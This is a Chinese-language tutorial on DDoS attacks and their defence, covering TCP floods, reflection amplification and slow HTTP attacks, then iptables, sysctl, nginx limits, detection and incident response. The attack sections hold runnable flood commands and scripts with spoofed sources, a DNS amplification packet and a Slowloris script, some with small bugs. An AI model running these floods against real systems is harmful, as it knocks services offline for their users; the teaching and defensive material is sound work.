压力测试攻击与防御完全指南

← 返回指南列表

压力测试攻击与防御完全指南

压力测试攻击(Stress Testing Attack)是通过向目标系统发送大量异常或非法的网络请求,耗尽目标的计算资源、带宽或连接池,导致正常用户无法访问的攻击方式。从经典的 SYN Flood 到应用层的 CC 攻击,DDoS 攻击始终是网络安全领域最具破坏力的威胁之一。


一、压力测试攻击概述

1.1 什么是压力测试攻击

压力测试攻击的本质是资源耗尽。攻击者通过大量伪造的请求占用目标的某项关键资源(带宽、CPU、内存、连接数),使目标无法处理合法用户的请求。

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

1.2 攻击分类

分类 攻击层 典型攻击 目标资源
网络层 L3 SYN Flood、ICMP Flood 带宽、连接表
传输层 L4 SYN Flood、ACK Flood、FIN Flood 连接表、CPU
应用层 L7 CC 攻击、HTTP Flood CPU、数据库
反射放大 L3-L4 NTP/DNS/Memcached 反射 带宽

1.3 攻击规模演进

CODE
早期(2000s): 单机 SYN Flood,~100 Mbps
中期(2010s): 僵尸网络,~100 Gbps
近期(2020s):  反射放大 + IoT 僵尸网络,~1-3 Tbps
现在:          HTTP/2 多路复用 CC,慢速攻击

二、基础攻击原理

2.1 SYN Flood 攻击

原理:利用 TCP 三次握手的设计缺陷,发送大量 SYN 包但不完成握手,耗尽服务器的半连接队列(SYN Backlog)。

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BASH
# 使用 hping3 发起 SYN Flood
hping3 -S --flood -p 80 --rand-source target.com

# 使用 scapy(Python)
python3 << 'EOF'
from scapy.all import *
target = "192.168.1.1"
for i in range(10000):
    ip = IP(src=RandIP(), dst=target)
    syn = TCP(sport=RandShort(), dport=80, flags="S")
    send(ip/syn, verbose=0)
EOF

攻击特征:

  • 源 IP 大量随机(伪造 IP)
  • SYN 包速率极高(>10万 pps)
  • 目标端口固定
  • 同一源 IP 短时间内大量 SYN 但无 ACK

2.2 SYN-ACK Flood 攻击

原理:攻击者伪造源 IP 向目标发送 SYN 包,服务器回应的 SYN-ACK 会发送到不存在的 IP 上,导致服务器不断重试,耗尽出站带宽和内存。

BASH
# 伪造源 IP 的 SYN Flood(服务器回复 SYN-ACK 到不存在的 IP)
hping3 -S --flood -p 80 --rand-source --spoof 1.1.1.1 target.com

2.3 ACK Flood 攻击

原理:发送大量 ACK 包(不存在的连接),迫使服务器在连接表中查找匹配项,耗尽 CPU。

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
BASH
# ACK Flood
hping3 -A --flood -p 80 --rand-source target.com

2.4 FIN Flood 攻击

原理:发送大量 FIN 包(正常关闭连接标志),迫使服务器查找和释放不存在的连接。

BASH
# FIN Flood
hping3 -F --flood -p 80 --rand-source target.com

FIN 包的特殊性:根据 RFC 793,收到不在连接表中的 FIN 包应回复 RST。大量 FIN 包导致 CPU 消耗在连接表查询和 RST 回复上。

2.5 RST Flood 攻击

原理:发送大量 RST 包,强制中断存在的连接。如果攻击者能猜测到 TCP 连接的序列号,可以精确切断特定连接。

BASH
# RST Flood
hping3 -R --flood -p 80 --rand-source target.com

2.6 全连接 Flood(Conn Flood)

原理:完成 TCP 三次握手,建立完整连接但不发送数据,或发送极慢数据,耗尽服务器的最大连接数。

BASH
# 使用 slowhttptest 发起慢速攻击
slowhttptest -c 10000 -H -i 10 -r 200 -t GET -u http://target.com

# 建立大量连接但不发送数据
python3 << 'EOF'
import socket
sockets = []
for i in range(10000):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("target.com", 80))
    s.send(b"GET / HTTP/1.1\r\nHost: target.com\r\n")
    # 不发送最后的 \r\n,保持连接打开
    sockets.append(s)
EOF

2.7 ICMP Flood(Ping Flood)

原理:发送大量 ICMP Echo 请求,消耗目标带宽和 CPU。

BASH
# 传统 Ping Flood
ping -f -s 65507 target.com

# 使用 hping3 更高效
hping3 -1 --flood --rand-source target.com

2.8 UDP Flood

原理:发送大量 UDP 包到随机端口,触发目标回复 ICMP Unreachable,消耗 CPU。

BASH
# UDP Flood(随机目的端口)
hping3 -2 --flood --rand-source -p 53 target.com  # DNS 端口
hping3 -2 --flood --rand-source -p 123 target.com # NTP 端口
hping3 -2 --flood --rand-source --rand-dest target.com  # 随机端口

三、反射放大攻击

3.1 原理

攻击者伪造源 IP(受害者 IP)向开放的 UDP 服务器发送小请求,服务器回复大响应到受害者。

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

3.2 常见放大协议

协议 端口 放大倍数 说明
DNS 53 50-100x 使用 ANY 查询
NTP 123 200-556x monlist 命令
Memcached 11211 10000-51000x 无认证,放大倍数最高
SSDP 1900 30-70x UPnP 设备
CLDAP 389 50-70x 轻量目录访问协议
SNMP 161 30-60x 简单网络管理协议
BASH
# DNS 反射放大测试(仅测试自己的服务器)
python3 << 'EOF'
from scapy.all import *
# 构造 DNS ANY 查询请求(源IP伪造为受害者)
ip = IP(src="受害者IP", dst="开放的DNS服务器")
udp = UDP(sport=RandShort(), dport=53)
dns = DNS(rd=1, qd=DNSQR(qname=".", qtype="ANY"))
send(ip/udp/dns, verbose=0)
EOF

3.3 Memcached 反射放大(最高的放大倍数)

2018 年 GitHub 遭受的 1.35 Tbps DDoS 攻击就利用了 Memcached 反射放大:

CODE
请求(15 字节):
  \x00\x00\x00\x00\x00\x01\x00\x00stats\r\n

响应(~134 KB):
  STAT pid 1234
  STAT uptime 12345678
  STAT version 1.4.25
  ...(约 134 KB 的统计信息)

放大倍数:134KB / 15B ≈ 9000 倍

四、应用层攻击(CC 攻击)

4.1 什么是 CC 攻击

CC 攻击(Challenge Collapsar)是应用层的 DDoS 攻击,模拟正常用户请求,但频率极高或请求极消耗资源,导致服务器 CPU/数据库满载。

4.2 CC 攻击的类型

类型 手段 目标
HTTP Flood 大量 GET/POST 请求 Web 服务器
慢速攻击 极慢发送 HTTP 头 连接池
数据库耗尽 复杂查询请求 数据库
登录爆破 大量登录请求 认证服务
图片刷爆 大图片反复请求 带宽
API 滥用 频繁调用高成本 API 应用逻辑
BASH
# HTTP Flood
ab -n 100000 -c 1000 http://target.com/
simbomb -u http://target.com/api/search -t 1000 -i payload.txt

# 慢速 HTTP 攻击
slowhttptest -c 10000 -H -i 10 -r 200 -t GET -u http://target.com

4.3 慢速攻击(Slow Attack)

慢速攻击利用 HTTP 协议的特性——服务器必须接收完整的请求后才开始处理。攻击者缓慢发送请求,长时间占用连接:

CODE
Slowloris(2009):
  1. 发送 HTTP GET / HTTP/1.1
  2. 发送 Host: target.com
  3. 等待... 等待...
  4. 发送一个额外的头: X-Header: a
  5. 等待...
  6. 继续发送零散头信息
  结果:Apache/IIS 的 MaxClients 被耗尽

Slow Read:
  1. 正常发送 HTTP 请求
  2. 声明很小的接收窗口(TCP Window Size=10)
  3. 服务器缓慢发送响应
  4. 长期占用服务器连接
PYTHON
# Slowloris 核心代码
import socket

def slowloris(target, port=80, sockets_count=1000):
    sockets = []
    for _ in range(sockets_count):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(60)
        s.connect((target, port))
        s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
        # 不发送最后的 \r\n,保持连接打开
        sockets.append(s)

    while True:
        for s in sockets:
            try:
                # 每隔一段时间发送一个保持活性的头
                s.send(b"X-Header: %d\r\n" % random.randint(1, 1000000))
            except:
                sockets.remove(s)
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((target, port))
                s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
                sockets.append(s)
        time.sleep(10)

4.4 HTTP/2 多路复用攻击

HTTP/2 的多路复用特性可以被用于 DDoS:

CODE
HTTP/2 攻击方式:
  1. 建立单个 TCP 连接
  2. 发起数百个流(Stream)请求
  3. 服务器为每个流分配资源
  4. 单连接打满服务器 CPU

RST Flood(HTTP/2):
  1. 发起请求后立即发送 RST_STREAM
  2. 服务器不断创建和销毁流
  3. CPU 消耗在流的创建/销毁上

五、防御技术

5.1 基础防御网络层次

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图
层 防御手段 防御目标
网络层 ACL、BPF、RTBH 已知攻击源 IP
云防护 Cloudflare/AWS Shield/阿里云高防 大流量 DDoS
传输层 SYN Cookie、连接速率限制 L4 Flood
应用层 Rate Limiting、WAF、CAPTCHA CC 攻击
架构层 CDN、分布式部署、流量调度 大流量冲击

5.2 防御各类型攻击

SYN Flood 防御

BASH
# Linux 内核参数(sysctl)
# 启用 SYN Cookie(最重要的防御)
sysctl -w net.ipv4.tcp_syncookies=1

# SYN Backlog 队列大小
sysctl -w net.ipv4.tcp_max_syn_backlog=65536

# SYN-ACK 重试次数(减少等待时间)
sysctl -w net.ipv4.tcp_synack_retries=1

# 启用 TCP Fast Open(减少握手开销)
sysctl -w net.ipv4.tcp_fastopen=3

SYN Cookie 原理:

CODE
传统模式:
  SYN → 分配 TCB(内存),存入 SYN Backlog → SYN-ACK → 等待 ACK

SYN Cookie 模式:
  SYN → 计算 Cookie(基于 IP/端口/SEQ 的哈希)→ 存入 SYN-ACK 的 SEQ → 不分配内存
  ACK → 提取 Cookie 校验 → 校验通过分配 TCB
  优点:不占内存,无半连接队列溢出风险

ACK/FIN/RST Flood 防御

BASH
# conntrack 连接跟踪限制
sysctl -w net.netfilter.nf_conntrack_max=1048576
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_established=432000
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=60

# iptables 限速
iptables -A INPUT -p tcp --tcp-flags ALL ACK -m limit --limit 1000/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL ACK -j DROP

iptables -A INPUT -p tcp --tcp-flags ALL FIN -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL FIN -j DROP

iptables -A INPUT -p tcp --tcp-flags ALL RST -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL RST -j DROP

UDP/ICMP Flood 防御

BASH
# 限制 ICMP 速率
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 10/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# 限制 UDP 速率(针对非 DNS 端口的 UDP)
iptables -A INPUT -p udp ! --dport 53 -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p udp ! --dport 53 -j DROP

# 限制每 IP 的连接数
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT

CC 攻击防御

BASH
# Nginx 限流配置(ngx_http_limit_req_module)
http {
    # 定义限流区域:每 IP 每秒 10 请求,超量排队 20 个
    limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;

    server {
        location / {
            limit_req zone=one burst=20 nodelay;
        }
        location /api/ {
            # API 接口更严格
            limit_req zone=api:10m rate=5r/s;
        }
    }
}

# Nginx 连接数限制
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
    limit_conn addr 20;  # 每 IP 最多 20 并发连接
}

# 使用 fail2ban 自动封禁
sudo apt install fail2ban
cat << 'EOF' > /etc/fail2ban/jail.local
[http-get-dos]
enabled = true
port = http,https
filter = http-get-dos
logpath = /var/log/nginx/access.log
maxretry = 300  # 300 次请求触发
findtime = 60   # 60 秒内
bantime = 3600  # 封禁 1 小时
EOF

5.3 使用 iptables 防御常见攻击

BASH
# 综合防御脚本
#!/bin/bash

# 1. 丢弃无效包
iptables -A INPUT -m state --state INVALID -j DROP

# 2. 防止 SYN Flood(限制 SYN 速率)
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
iptables -A INPUT -p tcp --syn -m limit --limit 100/s --limit-burst 200 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# 3. 防止 ACK Flood
iptables -A INPUT -p tcp --tcp-flags ALL ACK -m limit --limit 1000/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL ACK -j DROP

# 4. 防止 FIN Flood
iptables -A INPUT -p tcp --tcp-flags ALL FIN -m limit --limit 500/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL FIN -j DROP

# 5. 防止端口扫描(PSH 包)
iptables -A INPUT -p tcp --tcp-flags ALL PSH -m limit --limit 100/s -j ACCEPT
iptables -A INPUT -p tcp --tcp-flags ALL PSH -j DROP

# 6. 防止 Xmas Tree 扫描
iptables -A INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j DROP

# 7. 防止空标志扫描
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

# 8. 防止反射放大(禁ping)
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 5/s -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# 9. 连接数限制(每 IP)
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j REJECT
iptables -A INPUT -p tcp --dport 443 -m connlimit --connlimit-above 50 -j REJECT

# 10. 端口敲门保护 SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set --name ssh
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 --name ssh -j DROP

5.4 云防护方案对比

方案 防御能力 适用场景 成本
Cloudflare 免费版 ~50 Gbps 中小型网站 免费-企业级
AWS Shield Standard(免费) + Advanced($3000/月) AWS 用户 中高
阿里云高防 5Gbps - 1Tbps 国内业务 按量计费
腾讯云 DDoS 高防 10Gbps - 900Gbps 游戏/金融 包月模式
GCP Cloud Armor 按规则防护 GCP 用户 按量计费
自建机房 依赖上行带宽 自建机房 极高

5.5 反射放大防御

BASH
# 关闭不必要的 UDP 服务(防止自己的服务器被用作反射源)
systemctl disable --now ntp
systemctl disable --now bind9
systemctl disable --now memcached

# 防火墙限制 UDP 服务只对可信源开放
iptables -A INPUT -p udp --dport 53 -s 可信DNS服务器 -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j DROP

# 启用 BCP38(源地址验证)
# 在网络出口过滤源 IP 不属于本网段的包
# 配置在核心交换机上,防止 IP 伪造

# 使用 RPF(反向路径过滤)
sysctl -w net.ipv4.conf.all.rp_filter=1
sysctl -w net.ipv4.conf.default.rp_filter=1

5.6 架构级防御

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

架构防御要点:

  1. CDN 前置

    • 隐藏真实服务器 IP
    • 缓存静态资源,减少回源请求
    • 天然防御 L3/L4 攻击
  2. 水平扩展

    • 自动伸缩组(Auto Scaling)
    • 多可用区部署
    • 流量分散到多台服务器
  3. 缓存降级

    • 大流量时降级为静态页
    • 关闭高消耗功能(搜索、报表)
    • 数据库查询结果缓存
  4. 限流分层

    • 网关层: 每 IP/Token 限流
    • 应用层: 接口级限流
    • 数据库层: 连接池限流

六、检测技术

6.1 流量异常指标

指标 正常范围 被攻击特征
入站带宽 基线±20% 突增 10-1000 倍
每秒包数 (pps) <1000 >10 万
SYN 包比例 <5% >50%
连接成功率 >95% <50%(大量连接超时)
TCP 重传率 <1% >10%
时延 (Latency) <100ms >5000ms
CPU 使用率 <50% >95%

6.2 Wireshark 检测攻击

BASH
# 检测 SYN Flood
# 过滤:大量 SYN 包,无后续 ACK
tcp.flags.syn == 1 and tcp.flags.ack == 0

# 统计 SYN 源 IP
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" \
  -T fields -e ip.src | sort | uniq -c | sort -rn | head -20

# 检测 ACK Flood
# 过滤:ACK 包速率异常高
tcp.flags.ack == 1 and tcp.flags.syn == 0 and tcp.flags.fin == 0

# 检测 FIN Flood
tcp.flags.fin == 1 and tcp.flags.ack == 0

# 检测 UDP Flood
# 大量 UDP 包到非服务端口
udp.port != 53 and udp.port != 123

# 检测 ICMP Flood
icmp and data.len > 1000  # 大 ICMP 包

6.3 实时监控命令

BASH
# 网络流量监控
iftop -n -P
nload
vnstat -l

# 连接状态统计
ss -s
ss -tan | awk '{print $1}' | sort | uniq -c | sort -rn
ss -tan state syn-recv | wc -l  # SYN Flood 中此值会极大
ss -tan state time-wait | wc -l

# 抓包实时分析
tcpdump -n -i eth0 "tcp[tcpflags] & (tcp-syn) != 0" -c 1000 | \
  awk '{print $3}' | cut -d. -f1-4 | sort | uniq -c | sort -rn | head -10

# 每秒包数统计
sar -n DEV 1 10 | grep eth0

6.4 自动检测脚本

PYTHON
#!/usr/bin/env python3
"""DDoS 攻击检测脚本"""
import subprocess
import time

THRESHOLDS = {
    'syn_per_sec': 1000,    # 每秒 SYN 包上限
    'conn_backlog': 500,     # 半连接队列上限
    'cpu_percent': 90       # CPU 使用率上限
}

def check_syn_flood():
    """检测 SYN Flood"""
    result = subprocess.run(
        ["ss", "-tan", "state", "syn-recv"],
        capture_output=True, text=True
    )
    syn_recv = len(result.stdout.split('\n')) - 1

    if syn_recv > THRESHOLDS['conn_backlog']:
        print(f"[ALERT] SYN Flood 检测: 半连接数 {syn_recv}")
        return True
    return False

def check_conn_rates():
    """检测连接速率异常"""
    result = subprocess.run(
        ["tcpdump", "-n", "-i", "eth0", "-c", "1000",
         "tcp[tcpflags] & (tcp-syn) != 0", "-w", "/dev/null"],
        capture_output=True, time=5
    )

def check_bandwidth():
    """检测带宽突增"""
    result = subprocess.run(
        ["sar", "-n", "DEV", "1", "1"],
        capture_output=True, text=True
    )
    # 解析带宽数据,与基线对比
    lines = result.stdout.strip().split('\n')
    if len(lines) > 2:
        stats = lines[-1].split()
        if len(stats) > 5:
            rx_kbps = float(stats[2])
            tx_kbps = float(stats[3])
            if rx_kbps > 1_000_000:  # 超过 1 Gbps
                print(f"[ALERT] 带宽异常: RX={rx_kbps/1000} Mbps")
                return True
    return False

if __name__ == "__main__":
    while True:
        check_syn_flood()
        check_bandwidth()
        time.sleep(5)

七、应急响应流程

7.1 分级响应

攻击规模 带宽占用 响应措施
一级 <1 Gbps 机房防火墙 ACL 封禁源 IP
二级 1-10 Gbps 启用 SYN Cookie + 联系云防护
三级 10-100 Gbps 流量牵引至清洗中心
四级 >100 Gbps 全量流量清洗 + CDN 切换

7.2 应急步骤

BASH
# Step 1: 确认攻击类型
tcpdump -n -i eth0 -c 10000 > dump.pcap

# Step 2: 统计攻击特征
# 源 IP 分布
tshark -r dump.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -20

# 目的端口分布
tshark -r dump.pcap -T fields -e tcp.dstport | sort | uniq -c | sort -rn | head -10

# 包类型分布
tshark -r dump.pcap -T fields -e tcp.flags | sort | uniq -c | sort -rn

# Step 3: 封禁攻击源
# iptables 封禁 TOP 攻击 IP
tshark -r dump.pcap -T fields -e ip.src | sort | uniq -c | sort -rn | head -100 | \
  awk '{print "iptables -A INPUT -s "$2" -j DROP"}' | bash

# Step 4: 启用内核防护
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.conf.all.rp_filter=1

# Step 5: 联系云防护
# 将 DNS 切换到 Cloudflare / 阿里云高防

# Step 6: 取证保存
tcpdump -n -i eth0 -s 0 -w attack_evidence.pcap

八、法律边界

BASH
# ⚠️ 重要声明
# 未经授权对他人系统进行压力测试攻击是违法行为
# 中国《刑法》第285/286条:非法入侵计算机信息系统罪
# 《网络安全法》第27条:禁止提供专门用于入侵的扫描工具
# 任何测试必须在获得明确书面授权后进行

合法测试途径:

  • 授权渗透测试(签订测试合同)
  • 自己的服务器或实验室环境
  • 授权的 Bug Bounty 平台测试
  • CTF 竞赛场景

九、总结

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

压力测试攻击的核心是资源耗尽。防御的关键不在于完全阻挡攻击流量(大流量下不可能),而在于:

  1. 分层防御 — CDN + WAF + 内核参数 + 架构冗余
  2. 尽早发现 — 实时监控带宽、连接状态、CPU 基线
  3. 自动响应 — 触发阈值后自动限流/封禁/切换
  4. 冗余架构 — 水平扩展 + 多可用区 + 降级方案